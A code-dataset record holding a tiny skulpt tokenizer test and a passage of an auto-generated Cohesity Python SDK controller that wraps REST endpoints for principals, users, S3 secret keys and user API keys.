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|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
50585b9bd676ad66c6990e4ed93b9530d939d67c | 30 | py | Python | test/tokenize/t38.py | timmartin/skulpt | 2e3a3fbbaccc12baa29094a717ceec491a8a6750 | [
"MIT"
] | 2,671 | 2015-01-03T08:23:25.000Z | 2022-03-31T06:15:48.000Z | test/tokenize/t38.py | csev/skulpt | 9aa25b7dbf29f23ee8d3140d01a6f4353d12e66f | [
"MIT"
] | 972 | 2015-01-05T08:11:00.000Z | 2022-03-29T13:47:15.000Z | test/tokenize/t38.py | csev/skulpt | 9aa25b7dbf29f23ee8d3140d01a6f4353d12e66f | [
"MIT"
] | 845 | 2015-01-03T19:53:36.000Z | 2022-03-29T18:34:22.000Z | def k(x):
x += 2
x += 5
| 7.5 | 10 | 0.3 | 7 | 30 | 1.285714 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 0.466667 | 30 | 3 | 11 | 10 | 0.4375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
aca10f29ea4ebab920b0665f8c0493432900c163 | 55,259 | py | Python | cohesity_management_sdk/controllers/principals_controller.py | nick6655/management-sdk-python | 88e792cb83e5c24a22af495b220c145d0c45841d | [
"Apache-2.0"
] | null | null | null | cohesity_management_sdk/controllers/principals_controller.py | nick6655/management-sdk-python | 88e792cb83e5c24a22af495b220c145d0c45841d | [
"Apache-2.0"
] | null | null | null | cohesity_management_sdk/controllers/principals_controller.py | nick6655/management-sdk-python | 88e792cb83e5c24a22af495b220c145d0c45841d | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Copyright 2021 Cohesity Inc.
import logging
from cohesity_management_sdk.api_helper import APIHelper
from cohesity_management_sdk.configuration import Configuration
from cohesity_management_sdk.controllers.base_controller import BaseController
from cohesity_management_sdk.http.auth.auth_manager import AuthManager
from cohesity_management_sdk.models.api_key import ApiKey
from cohesity_management_sdk.models.created_api_key import CreatedApiKey
from cohesity_management_sdk.models.linux_support_user_bash_shell_access_result import LinuxSupportUserBashShellAccessResult
from cohesity_management_sdk.models.linux_support_user_sudo_access_result import LinuxSupportUserSudoAccessResult
from cohesity_management_sdk.models.sources_for_sid import SourcesForSid
from cohesity_management_sdk.models.principal import Principal
from cohesity_management_sdk.models.update_linux_password_result import UpdateLinuxPasswordResult
from cohesity_management_sdk.models.user import User
from cohesity_management_sdk.models.new_s_3_secret_access_key import NewS3SecretAccessKey
from cohesity_management_sdk.exceptions.request_error_error_exception import RequestErrorErrorException
class PrincipalsController(BaseController):
"""A Controller to access Endpoints in the cohesity_management_sdk API."""
def __init__(self, config=None, client=None, call_back=None):
super(PrincipalsController, self).__init__(client, call_back)
self.logger = logging.getLogger(__name__)
self.config = config
def list_sources_for_principals(self, sids=None):
"""Does a GET request to /public/principals/protectionSources.
From the passed in list principals (specified by SIDs),
return the list of Protection Sources objects and View names that
each
principal has permission to access.
Args:
sids (list of string, optional): Specifies a list of security
identifiers (SIDs) that specify user or group principals.
Returns:
list of SourcesForSid: Response from the API. Success
Raises:
APIException: When an error occurs while fetching the data from
the remote API. This exception includes the HTTP Response
code, an error message, and the HTTP body that was received in
the request.
"""
try:
self.logger.info('list_sources_for_principals called.')
# Prepare query URL
self.logger.info(
'Preparing query URL for list_sources_for_principals.')
_url_path = '/public/principals/protectionSources'
_query_builder = self.config.get_base_uri()
_query_builder += _url_path
_query_parameters = {'sids': sids}
_query_builder = APIHelper.append_url_with_query_parameters(
_query_builder, _query_parameters,
Configuration.array_serialization)
_query_url = APIHelper.clean_url(_query_builder)
# Prepare headers
self.logger.info(
'Preparing headers for list_sources_for_principals.')
_headers = {'accept': 'application/json'}
# Prepare and execute request
self.logger.info(
'Preparing and executing request for list_sources_for_principals.'
)
_request = self.http_client.get(_query_url, headers=_headers)
AuthManager.apply(_request, self.config)
_context = self.execute_request(_request,
name='list_sources_for_principals')
# Endpoint and global error handling using HTTP status codes.
self.logger.info(
'Validating response for list_sources_for_principals.')
if _context.response.status_code == 0:
raise RequestErrorErrorException('Error', _context)
self.validate_response(_context)
# Return appropriate type
return APIHelper.json_deserialize(_context.response.raw_body,
SourcesForSid.from_dictionary)
except Exception as e:
self.logger.error(e, exc_info=True)
raise
def update_sources_for_principals(self, body):
"""Does a PUT request to /public/principals/protectionSources.
Specify the security identifier (SID) of the principal to grant
access
permissions for.
Args:
body (UpdateSourcesForPrincipalsParams): Request to set access
permissions to Protection Sources and Views for a principal.
Returns:
void: Response from the API. No Content
Raises:
APIException: When an error occurs while fetching the data from
the remote API. This exception includes the HTTP Response
code, an error message, and the HTTP body that was received in
the request.
"""
try:
self.logger.info('update_sources_for_principals called.')
# Validate required parameters
self.logger.info(
'Validating required parameters for update_sources_for_principals.'
)
self.validate_parameters(body=body)
# Prepare query URL
self.logger.info(
'Preparing query URL for update_sources_for_principals.')
_url_path = '/public/principals/protectionSources'
_query_builder = self.config.get_base_uri()
_query_builder += _url_path
_query_url = APIHelper.clean_url(_query_builder)
# Prepare headers
self.logger.info(
'Preparing headers for update_sources_for_principals.')
_headers = {'content-type': 'application/json; charset=utf-8'}
# Prepare and execute request
self.logger.info(
'Preparing and executing request for update_sources_for_principals.'
)
_request = self.http_client.put(
_query_url,
headers=_headers,
parameters=APIHelper.json_serialize(body))
AuthManager.apply(_request, self.config)
_context = self.execute_request(
_request, name='update_sources_for_principals')
# Endpoint and global error handling using HTTP status codes.
self.logger.info(
'Validating response for update_sources_for_principals.')
if _context.response.status_code == 0:
raise RequestErrorErrorException('Error', _context)
self.validate_response(_context)
except Exception as e:
self.logger.error(e, exc_info=True)
raise
def search_principals(self,
domain=None,
object_class=None,
search=None,
sids=None,
include_computers=None):
"""Does a GET request to /public/principals/searchPrincipals.
Optionally, limit the search results by specifying security identifiers
(SIDs),
an object class (user or group) or a substring.
You can specify SIDs or a substring but not both.
Args:
domain (string, optional): Specifies the domain name of the
principals to search. If specified the principals in that
domain are searched. Domain could be an Active Directory
domain joined by the Cluster or any one of the trusted domains
of the Active Directory domain or the LOCAL domain. If not
specified, all the domains are searched.
object_class (ObjectClassSearchPrincipalsEnum, optional):
Optionally filter by a principal object class such as 'kGroup'
or 'kUser'. If 'kGroup' is specified, only group principals
are returned. If 'kUser' is specified, only user principals
are returned. If not specified, both group and user principals
are returned. 'kUser' specifies a user object class. 'kGroup'
specifies a group object class. 'kComputer' specifies a
computer object class. 'kWellKnownPrincipal' specifies a well
known principal.
search (string, optional): Optionally filter by matching a
substring. Only principals in the with a name or
sAMAccountName that matches part or all of the specified
substring are returned. If specified, a 'sids' parameter
should not be specified.
sids (list of string, optional): Optionally filter by a list of
security identifiers (SIDs) found in the specified domain.
Only principals matching the specified SIDs are returned. If
specified, a 'search' parameter should not be specified.
include_computers (bool, optional): Specifies if Computer/GMSA
accounts need to be included in this search.
Returns:
list of Principal: Response from the API. Success
Raises:
APIException: When an error occurs while fetching the data from
the remote API. This exception includes the HTTP Response
code, an error message, and the HTTP body that was received in
the request.
"""
try:
self.logger.info('search_principals called.')
# Prepare query URL
self.logger.info('Preparing query URL for search_principals.')
_url_path = '/public/principals/searchPrincipals'
_query_builder = self.config.get_base_uri()
_query_builder += _url_path
_query_parameters = {
'domain': domain,
'objectClass': object_class,
'search': search,
'sids': sids,
'includeComputers': include_computers
}
_query_builder = APIHelper.append_url_with_query_parameters(
_query_builder, _query_parameters,
Configuration.array_serialization)
_query_url = APIHelper.clean_url(_query_builder)
# Prepare headers
self.logger.info('Preparing headers for search_principals.')
_headers = {'accept': 'application/json'}
# Prepare and execute request
self.logger.info(
'Preparing and executing request for search_principals.')
_request = self.http_client.get(_query_url, headers=_headers)
AuthManager.apply(_request, self.config)
_context = self.execute_request(_request, name='search_principals')
# Endpoint and global error handling using HTTP status codes.
self.logger.info('Validating response for search_principals.')
if _context.response.status_code == 0:
raise RequestErrorErrorException('Error', _context)
self.validate_response(_context)
# Return appropriate type
return APIHelper.json_deserialize(_context.response.raw_body,
Principal.from_dictionary)
except Exception as e:
self.logger.error(e, exc_info=True)
raise
def get_session_user(self):
"""Does a GET request to /public/sessionUser.
Get the information of the logged in user.
Returns:
User: Response from the API. Success
Raises:
APIException: When an error occurs while fetching the data from
the remote API. This exception includes the HTTP Response
code, an error message, and the HTTP body that was received in
the request.
"""
try:
self.logger.info('get_session_user called.')
# Prepare query URL
self.logger.info('Preparing query URL for get_session_user.')
_url_path = '/public/sessionUser'
_query_builder = self.config.get_base_uri()
_query_builder += _url_path
_query_url = APIHelper.clean_url(_query_builder)
# Prepare headers
self.logger.info('Preparing headers for get_session_user.')
_headers = {'accept': 'application/json'}
# Prepare and execute request
self.logger.info(
'Preparing and executing request for get_session_user.')
_request = self.http_client.get(_query_url, headers=_headers)
AuthManager.apply(_request, self.config)
_context = self.execute_request(_request, name='get_session_user')
# Endpoint and global error handling using HTTP status codes.
self.logger.info('Validating response for get_session_user.')
if _context.response.status_code == 0:
raise RequestErrorErrorException('Error', _context)
self.validate_response(_context)
# Return appropriate type
return APIHelper.json_deserialize(_context.response.raw_body,
User.from_dictionary)
except Exception as e:
self.logger.error(e, exc_info=True)
raise
def delete_users(self, body=None):
"""Does a DELETE request to /public/users.
Only users from the same domain can be deleted by a single request.
If the Cohesity user was created for an Active Directory user, the
referenced
principal user on the Active Directory domain is NOT deleted.
Only the user on the Cohesity Cluster is deleted.
Returns Success if the specified users are deleted.
Args:
body (UserDeleteParameters, optional): Request to delete one or
more users on the Cohesity Cluster.
Returns:
void: Response from the API. No Content
Raises:
APIException: When an error occurs while fetching the data from
the remote API. This exception includes the HTTP Response
code, an error message, and the HTTP body that was received in
the request.
"""
try:
self.logger.info('delete_users called.')
# Prepare query URL
self.logger.info('Preparing query URL for delete_users.')
_url_path = '/public/users'
_query_builder = self.config.get_base_uri()
_query_builder += _url_path
_query_url = APIHelper.clean_url(_query_builder)
# Prepare headers
self.logger.info('Preparing headers for delete_users.')
_headers = {'content-type': 'application/json; charset=utf-8'}
# Prepare and execute request
self.logger.info(
'Preparing and executing request for delete_users.')
_request = self.http_client.delete(
_query_url,
headers=_headers,
parameters=APIHelper.json_serialize(body))
AuthManager.apply(_request, self.config)
_context = self.execute_request(_request, name='delete_users')
# Endpoint and global error handling using HTTP status codes.
self.logger.info('Validating response for delete_users.')
if _context.response.status_code == 0:
raise RequestErrorErrorException('Error', _context)
self.validate_response(_context)
except Exception as e:
self.logger.error(e, exc_info=True)
raise
def get_users(self,
tenant_ids=None,
all_under_hierarchy=None,
usernames=None,
email_addresses=None,
domain=None,
partial_match=None):
"""Does a GET request to /public/users.
If no parameters are specified, all users currently on the Cohesity
Cluster
are returned. Specifying parameters filters the results that are
returned.
Args:
tenant_ids (list of string, optional): TenantIds contains ids of
the tenants for which objects are to be returned.
all_under_hierarchy (bool, optional): AllUnderHierarchy specifies
if objects of all the tenants under the hierarchy of the
logged in user's organization should be returned.
usernames (list of string, optional): Optionally specify a list of
usernames to filter by. All users containing username will be
returned.
email_addresses (list of string, optional): Optionally specify a
list of email addresses to filter by.
domain (string, optional): Optionally specify a domain to filter
by. If no domain is specified, all users on the Cohesity
Cluster are searched. If a domain is specified, only users on
the Cohesity Cluster associated with that domain are
searched.
partial_match (bool, optional): Optionally specify whether to
enable partial match. If set, all users with name containing
Usernames will be returned. If set to false, only users with
exact the same name as Usernames will be returned. By default
this parameter is set to true.
Returns:
list of User: Response from the API. Success
Raises:
APIException: When an error occurs while fetching the data from
the remote API. This exception includes the HTTP Response
code, an error message, and the HTTP body that was received in
the request.
"""
try:
self.logger.info('get_users called.')
# Prepare query URL
self.logger.info('Preparing query URL for get_users.')
_url_path = '/public/users'
_query_builder = self.config.get_base_uri()
_query_builder += _url_path
_query_parameters = {
'tenantIds': tenant_ids,
'allUnderHierarchy': all_under_hierarchy,
'usernames': usernames,
'emailAddresses': email_addresses,
'domain': domain,
'partialMatch': partial_match
}
_query_builder = APIHelper.append_url_with_query_parameters(
_query_builder, _query_parameters,
Configuration.array_serialization)
_query_url = APIHelper.clean_url(_query_builder)
# Prepare headers
self.logger.info('Preparing headers for get_users.')
_headers = {'accept': 'application/json'}
# Prepare and execute request
self.logger.info('Preparing and executing request for get_users.')
_request = self.http_client.get(_query_url, headers=_headers)
AuthManager.apply(_request, self.config)
_context = self.execute_request(_request, name='get_users')
# Endpoint and global error handling using HTTP status codes.
self.logger.info('Validating response for get_users.')
if _context.response.status_code == 0:
raise RequestErrorErrorException('Error', _context)
self.validate_response(_context)
# Return appropriate type
return APIHelper.json_deserialize(_context.response.raw_body,
User.from_dictionary)
except Exception as e:
self.logger.error(e, exc_info=True)
raise
def create_user(self, body=None):
"""Does a POST request to /public/users.
If an Active Directory domain is specified, a new user is added to
the
Cohesity Cluster for the specified Active Directory user principal.
If the LOCAL domain is specified, a new user is created directly in
the default LOCAL domain on the Cohesity Cluster.
Returns the created or added user.
Args:
body (UserParameters, optional): Request to add or create a new
user.
Returns:
User: Response from the API. Success
Raises:
APIException: When an error occurs while fetching the data from
the remote API. This exception includes the HTTP Response
code, an error message, and the HTTP body that was received in
the request.
"""
try:
self.logger.info('create_user called.')
# Prepare query URL
self.logger.info('Preparing query URL for create_user.')
_url_path = '/public/users'
_query_builder = self.config.get_base_uri()
_query_builder += _url_path
_query_url = APIHelper.clean_url(_query_builder)
# Prepare headers
self.logger.info('Preparing headers for create_user.')
_headers = {
'accept': 'application/json',
'content-type': 'application/json; charset=utf-8'
}
# Prepare and execute request
self.logger.info(
'Preparing and executing request for create_user.')
_request = self.http_client.post(
_query_url,
headers=_headers,
parameters=APIHelper.json_serialize(body))
AuthManager.apply(_request, self.config)
_context = self.execute_request(_request, name='create_user')
# Endpoint and global error handling using HTTP status codes.
self.logger.info('Validating response for create_user.')
if _context.response.status_code == 0:
raise RequestErrorErrorException('Error', _context)
self.validate_response(_context)
# Return appropriate type
return APIHelper.json_deserialize(_context.response.raw_body,
User.from_dictionary)
except Exception as e:
self.logger.error(e, exc_info=True)
raise
def update_user(self, body=None):
"""Does a PUT request to /public/users.
Returns the user that was updated on the Cohesity Cluster.
Args:
body (User, optional): Request to update an existing user.
Returns:
User: Response from the API. Success
Raises:
APIException: When an error occurs while fetching the data from
the remote API. This exception includes the HTTP Response
code, an error message, and the HTTP body that was received in
the request.
"""
try:
self.logger.info('update_user called.')
# Prepare query URL
self.logger.info('Preparing query URL for update_user.')
_url_path = '/public/users'
_query_builder = self.config.get_base_uri()
_query_builder += _url_path
_query_url = APIHelper.clean_url(_query_builder)
# Prepare headers
self.logger.info('Preparing headers for update_user.')
_headers = {
'accept': 'application/json',
'content-type': 'application/json; charset=utf-8'
}
# Prepare and execute request
self.logger.info(
'Preparing and executing request for update_user.')
_request = self.http_client.put(
_query_url,
headers=_headers,
parameters=APIHelper.json_serialize(body))
AuthManager.apply(_request, self.config)
_context = self.execute_request(_request, name='update_user')
# Endpoint and global error handling using HTTP status codes.
self.logger.info('Validating response for update_user.')
if _context.response.status_code == 0:
raise RequestErrorErrorException('Error', _context)
self.validate_response(_context)
# Return appropriate type
return APIHelper.json_deserialize(_context.response.raw_body,
User.from_dictionary)
except Exception as e:
self.logger.error(e, exc_info=True)
raise
def get_user_privileges(self):
"""Does a GET request to /public/users/privileges.
List the privileges of the session user.
Returns:
list of string: Response from the API. Success
Raises:
APIException: When an error occurs while fetching the data from
the remote API. This exception includes the HTTP Response
code, an error message, and the HTTP body that was received in
the request.
"""
try:
self.logger.info('get_user_privileges called.')
# Prepare query URL
self.logger.info('Preparing query URL for get_user_privileges.')
_url_path = '/public/users/privileges'
_query_builder = self.config.get_base_uri()
_query_builder += _url_path
_query_url = APIHelper.clean_url(_query_builder)
# Prepare headers
self.logger.info('Preparing headers for get_user_privileges.')
_headers = {'accept': 'application/json'}
# Prepare and execute request
self.logger.info(
'Preparing and executing request for get_user_privileges.')
_request = self.http_client.get(_query_url, headers=_headers)
AuthManager.apply(_request, self.config)
_context = self.execute_request(_request,
name='get_user_privileges')
# Endpoint and global error handling using HTTP status codes.
self.logger.info('Validating response for get_user_privileges.')
if _context.response.status_code == 0:
raise RequestErrorErrorException('Error', _context)
self.validate_response(_context)
# Return appropriate type
return APIHelper.json_deserialize(_context.response.raw_body)
except Exception as e:
self.logger.error(e, exc_info=True)
raise
def create_reset_s_3_secret_key(self, body=None):
"""Does a POST request to /public/users/s3SecretKey.
Returns the new key that was generated.
Args:
body (ResetS3SecretKeyParameters, optional): Request to reset the
S3 secret access key for the specified Cohesity user.
Returns:
NewS3SecretAccessKey: Response from the API. New S3 Secret Access
Key.
Raises:
APIException: When an error occurs while fetching the data from
the remote API. This exception includes the HTTP Response
code, an error message, and the HTTP body that was received in
the request.
"""
try:
self.logger.info('create_reset_s_3_secret_key called.')
# Prepare query URL
self.logger.info(
'Preparing query URL for create_reset_s_3_secret_key.')
_url_path = '/public/users/s3SecretKey'
_query_builder = self.config.get_base_uri()
_query_builder += _url_path
_query_url = APIHelper.clean_url(_query_builder)
# Prepare headers
self.logger.info(
'Preparing headers for create_reset_s_3_secret_key.')
_headers = {
'accept': 'application/json',
'content-type': 'application/json; charset=utf-8'
}
# Prepare and execute request
self.logger.info(
'Preparing and executing request for create_reset_s_3_secret_key.'
)
_request = self.http_client.post(
_query_url,
headers=_headers,
parameters=APIHelper.json_serialize(body))
AuthManager.apply(_request, self.config)
_context = self.execute_request(_request,
name='create_reset_s_3_secret_key')
# Endpoint and global error handling using HTTP status codes.
self.logger.info(
'Validating response for create_reset_s_3_secret_key.')
if _context.response.status_code == 0:
raise RequestErrorErrorException('Error', _context)
self.validate_response(_context)
# Return appropriate type
return APIHelper.json_deserialize(
_context.response.raw_body,
NewS3SecretAccessKey.from_dictionary)
except Exception as e:
self.logger.error(e, exc_info=True)
raise
def get_user_api_keys(self, sid, ids=None):
"""Does a GET request to /public/users/{sid}/apiKeys.
Fetch API keys for user.
Args:
sid (string): Specifies the user sid.
ids (list of string, optional): Specifies a list of API key ids.
Returns:
list of ApiKey: Response from the API. Get lock file status
response
Raises:
APIException: When an error occurs while fetching the data from
the remote API. This exception includes the HTTP Response
code, an error message, and the HTTP body that was received in
the request.
"""
try:
self.logger.info('get_user_api_keys called.')
# Validate required parameters
self.logger.info(
'Validating required parameters for get_user_api_keys.'
)
self.validate_parameters(sid=sid)
# Prepare query URL
self.logger.info(
'Preparing query URL for get_user_api_keys.')
_url_path = '/public/users/{sid}/apiKeys'
_url_path = APIHelper.append_url_with_template_parameters(
_url_path, {'sid': sid})
_query_builder = self.config.get_base_uri()
_query_builder += _url_path
_query_parameters = {'ids': ids}
_query_builder = APIHelper.append_url_with_query_parameters(
_query_builder, _query_parameters,
Configuration.array_serialization)
_query_url = APIHelper.clean_url(_query_builder)
# Prepare headers
self.logger.info(
'Preparing headers for get_user_api_keys.')
_headers = {'accept': 'application/json'}
# Prepare and execute request
self.logger.info(
'Preparing and executing request for get_user_api_keys.'
)
_request = self.http_client.get(_query_url, headers=_headers)
AuthManager.apply(_request, self.config)
_context = self.execute_request(_request,
name='get_user_api_keys')
# Endpoint and global error handling using HTTP status codes.
self.logger.info(
'Validating response for get_user_api_keys.')
if _context.response.status_code == 0:
raise RequestErrorErrorException('Error', _context)
self.validate_response(_context)
# Return appropriate type
return APIHelper.json_deserialize(_context.response.raw_body,
ApiKey.from_dictionary)
except Exception as e:
self.logger.error(e, exc_info=True)
raise
def create_user_api_key(self, sid, body):
"""Does a POST request to /public/users/{sid}/apiKeys.
Create an API key for user.
Args:
sid (string): Specifies the user sid.
body (CreateApiKeyParams): Request to create an API key.
Returns:
CreatedApiKey: Response from the API. Get lock file status
response
Raises:
APIException: When an error occurs while fetching the data from
the remote API. This exception includes the HTTP Response
code, an error message, and the HTTP body that was received in
the request.
"""
try:
self.logger.info('create_user_api_key called.')
# Validate required parameters
self.logger.info(
'Validating required parameters for create_user_api_key.')
self.validate_parameters(sid=sid, body=body)
# Prepare query URL
self.logger.info('Preparing query URL for create_user_api_key.')
_url_path = '/public/users/{sid}/apiKeys'
_url_path = APIHelper.append_url_with_template_parameters(
_url_path, {'sid': sid})
_query_builder = self.config.get_base_uri()
_query_builder += _url_path
_query_url = APIHelper.clean_url(_query_builder)
# Prepare headers
self.logger.info('Preparing headers for create_user_api_key.')
_headers = {
'accept': 'application/json',
'content-type': 'application/json; charset=utf-8'
}
# Prepare and execute request
self.logger.info(
'Preparing and executing request for create_user_api_key.')
_request = self.http_client.post(
_query_url,
headers=_headers,
parameters=APIHelper.json_serialize(body))
AuthManager.apply(_request, self.config)
_context = self.execute_request(_request,
name='create_user_api_key')
# Endpoint and global error handling using HTTP status codes.
self.logger.info('Validating response for create_user_api_key.')
if _context.response.status_code == 0:
raise RequestErrorErrorException('Error', _context)
self.validate_response(_context)
# Return appropriate type
return APIHelper.json_deserialize(_context.response.raw_body,
CreatedApiKey.from_dictionary)
except Exception as e:
self.logger.error(e, exc_info=True)
raise
def get_user_api_key_by_id(self, id, sid):
"""Does a GET request to /public/users/{sid}/apiKeys/{id}.
Fetch an API key for user by its id.
Args:
id (string): Specifies the API key id.
sid (string): Specifies the user sid.
Returns:
ApiKey: Response from the API. Success
Raises:
APIException: When an error occurs while fetching the data from
the remote API. This exception includes the HTTP Response
code, an error message, and the HTTP body that was received in
the request.
"""
try:
self.logger.info('get_user_api_key_by_id called.')
# Validate required parameters
self.logger.info(
'Validating required parameters for get_user_api_key_by_id.')
self.validate_parameters(id=id, sid=sid)
# Prepare query URL
self.logger.info('Preparing query URL for get_user_api_key_by_id.')
_url_path = '/public/users/{sid}/apiKeys/{id}'
_url_path = APIHelper.append_url_with_template_parameters(
_url_path, {'sid':sid, 'id': id})
_query_builder = self.config.get_base_uri()
_query_builder += _url_path
_query_url = APIHelper.clean_url(_query_builder)
# Prepare headers
self.logger.info('Preparing headers for get_user_api_key_by_id.')
_headers = {'accept': 'application/json'}
# Prepare and execute request
self.logger.info(
'Preparing and executing request for get_user_api_key_by_id.')
_request = self.http_client.get(_query_url, headers=_headers)
AuthManager.apply(_request, self.config)
_context = self.execute_request(_request, name='get_user_api_key_by_id')
# Endpoint and global error handling using HTTP status codes.
self.logger.info('Validating response for get_user_api_key_by_id.')
if _context.response.status_code == 0:
raise RequestErrorErrorException('Error', _context)
self.validate_response(_context)
# Return appropriate type
return APIHelper.json_deserialize(_context.response.raw_body,
ApiKey.from_dictionary)
except Exception as e:
self.logger.error(e, exc_info=True)
raise
def update_user_api_key(self, sid, id, body):
"""Does a PUT request to /public/users/{sid}/apiKeys/{id}.
Update an API key.
Args:
sid (string): Specifies the user sid.
id (string): Specifies the API key id.
body (UpdateApiKeyParams): Request to update an API key.
Returns:
CreatedApiKey: Response from the API. Success
Raises:
APIException: When an error occurs while fetching the data from
the remote API. This exception includes the HTTP Response
code, an error message, and the HTTP body that was received in
the request.
"""
try:
self.logger.info('update_user_api_key called.')
# Validate required parameters
self.logger.info(
'Validating required parameters for update_user_api_key.')
self.validate_parameters(sid=sid, id=id, body=body)
# Prepare query URL
self.logger.info('Preparing query URL for update_user_api_key.')
_url_path = '/public/users/{sid}/apiKeys/{id}'
_url_path = APIHelper.append_url_with_template_parameters(
_url_path, {'sid':sid, 'id': id})
_query_builder = self.config.get_base_uri()
_query_builder += _url_path
_query_url = APIHelper.clean_url(_query_builder)
# Prepare headers
self.logger.info('Preparing headers for update_user_api_key.')
_headers = {
'accept': 'application/json',
'content-type': 'application/json; charset=utf-8'
}
# Prepare and execute request
self.logger.info(
'Preparing and executing request for update_user_api_key.')
_request = self.http_client.put(
_query_url,
headers=_headers,
parameters=APIHelper.json_serialize(body))
AuthManager.apply(_request, self.config)
_context = self.execute_request(_request,
name='update_user_api_key')
# Endpoint and global error handling using HTTP status codes.
self.logger.info('Validating response for update_user_api_key.')
if _context.response.status_code == 0:
raise RequestErrorErrorException('Error', _context)
self.validate_response(_context)
# Return appropriate type
return APIHelper.json_deserialize(_context.response.raw_body,
CreatedApiKey.from_dictionary)
except Exception as e:
self.logger.error(e, exc_info=True)
raise
def delete_user_api_key(self, sid, id):
"""Does a DELETE request to /public/users/{sid}/apiKeys/{id}.
Delete an API key for user.
Args:
sid (string): Specifies the user sid.
id (string): Specifies the API key id.
Returns:
void: Response from the API. No Content
Raises:
APIException: When an error occurs while fetching the data from
the remote API. This exception includes the HTTP Response
code, an error message, and the HTTP body that was received in
the request.
"""
try:
self.logger.info('delete_user_api_key called.')
# Validate required parameters
self.logger.info('Validating required parameters for delete_user_api_key.')
self.validate_parameters(sid=sid, id=id)
# Prepare query URL
self.logger.info('Preparing query URL for delete_user_api_key.')
_url_path = '/public/users/{sid}/apiKeys/{id}'
_url_path = APIHelper.append_url_with_template_parameters(
_url_path, {'id': id, 'sid':sid})
_query_builder = self.config.get_base_uri()
_query_builder += _url_path
_query_url = APIHelper.clean_url(_query_builder)
# Prepare and execute request
self.logger.info(
'Preparing and executing request for delete_user_api_key.')
_request = self.http_client.delete(_query_url)
AuthManager.apply(_request, self.config)
_context = self.execute_request(_request, name='delete_user_api_key')
# Endpoint and global error handling using HTTP status codes.
self.logger.info('Validating response for delete_user_api_key.')
if _context.response.status_code == 0:
raise RequestErrorErrorException('Error', _context)
self.validate_response(_context)
except Exception as e:
self.logger.error(e, exc_info=True)
raise
def rotate_user_api_key(self, id, sid):
"""Does a POST request to /public/users/{sid}/apiKeys/{id}/rotate.
Fetch an API key for user by its id.
Args:
sid (string): Specifies the user sid.
id (string) Specifies the API key id.
Returns:
CreatedApiKey: Response from the API. Success
Raises:
APIException: When an error occurs while fetching the data from
the remote API. This exception includes the HTTP Response
code, an error message, and the HTTP body that was received in
the request.
"""
try:
self.logger.info('rotate_user_api_key called.')
# Validate required parameters
self.logger.info(
'Validating required parameters for rotate_user_api_key.'
)
self.validate_parameters(sid=sid, id=id)
# Prepare query URL
self.logger.info(
'Preparing query URL for rotate_user_api_key.')
_url_path = '/public/users/{sid}/apiKeys/{id}/rotate'
_url_path = APIHelper.append_url_with_template_parameters(
_url_path, {'sid':sid, 'id': id})
_query_builder = self.config.get_base_uri()
_query_builder += _url_path
_query_url = APIHelper.clean_url(_query_builder)
# Prepare headers
self.logger.info(
'Preparing headers for rotate_user_api_key.')
_headers = {'accept': 'application/json'}
# Prepare and execute request
self.logger.info(
'Preparing and executing request for rotate_user_api_key.'
)
_request = self.http_client.post(_query_url, headers=_headers)
AuthManager.apply(_request, self.config)
_context = self.execute_request(
_request, name='rotate_user_api_key')
# Endpoint and global error handling using HTTP status codes.
self.logger.info(
'Validating response for rotate_user_api_key.')
if _context.response.status_code == 0:
raise RequestErrorErrorException('Error', _context)
self.validate_response(_context)
# Return appropriate type
return APIHelper.json_deserialize(
_context.response.raw_body,
CreatedApiKey.from_dictionary)
except Exception as e:
self.logger.error(e, exc_info=True)
raise
def get_all_user_api_keys(self, user_sids=None):
"""Does a GET request to /public/usersApiKeys.
Fetch API keys across all users.
Args:
user_sids (list of string, optional): Specifies a list of user
sids.
Returns:
list of ApiKey: Response from the API. Success
Raises:
APIException: When an error occurs while fetching the data from
the remote API. This exception includes the HTTP Response
code, an error message, and the HTTP body that was received in
the request.
"""
try:
self.logger.info('get_all_user_api_keys called.')
# Prepare query URL
self.logger.info(
'Preparing query URL for get_all_user_api_keys.')
_url_path = '/public/usersApiKeys'
_query_builder = self.config.get_base_uri()
_query_builder += _url_path
_query_parameters = {'userSids': user_sids}
_query_builder = APIHelper.append_url_with_query_parameters(
_query_builder, _query_parameters,
Configuration.array_serialization)
_query_url = APIHelper.clean_url(_query_builder)
# Prepare headers
self.logger.info('Preparing headers for get_all_user_api_keys.')
_headers = {'accept': 'application/json'}
# Prepare and execute request
self.logger.info(
'Preparing and executing request for get_all_user_api_keys.')
_request = self.http_client.get(_query_url, headers=_headers)
AuthManager.apply(_request, self.config)
_context = self.execute_request(_request,
name='get_all_user_api_keys')
# Endpoint and global error handling using HTTP status codes.
self.logger.info(
'Validating response for get_all_user_api_keys.')
if _context.response.status_code == 0:
raise RequestErrorErrorException('Error', _context)
self.validate_response(_context)
# Return appropriate type
return APIHelper.json_deserialize(_context.response.raw_body,
ApiKey.from_dictionary)
except Exception as e:
self.logger.error(e, exc_info=True)
raise
def update_linux_credentials(self, body):
"""Does a PUT request to /public/users/linuxPassword.
Update linux user password.
Args:
body (UpdateLinuxPasswordReqParams): Request to update a View.
Returns:
UpdateLinuxPasswordResult: Response from the API. Success
Raises:
APIException: When an error occurs while fetching the data from
the remote API. This exception includes the HTTP Response
code, an error message, and the HTTP body that was received in
the request.
"""
try:
self.logger.info('update_linux_credentials called.')
# Validate required parameters
self.logger.info(
'Validating required parameters for update_linux_credentials.')
self.validate_parameters(body=body)
# Prepare query URL
self.logger.info('Preparing query URL for update_linux_credentials.')
_url_path = '/public/users/linuxPassword'
_query_builder = self.config.get_base_uri()
_query_builder += _url_path
_query_url = APIHelper.clean_url(_query_builder)
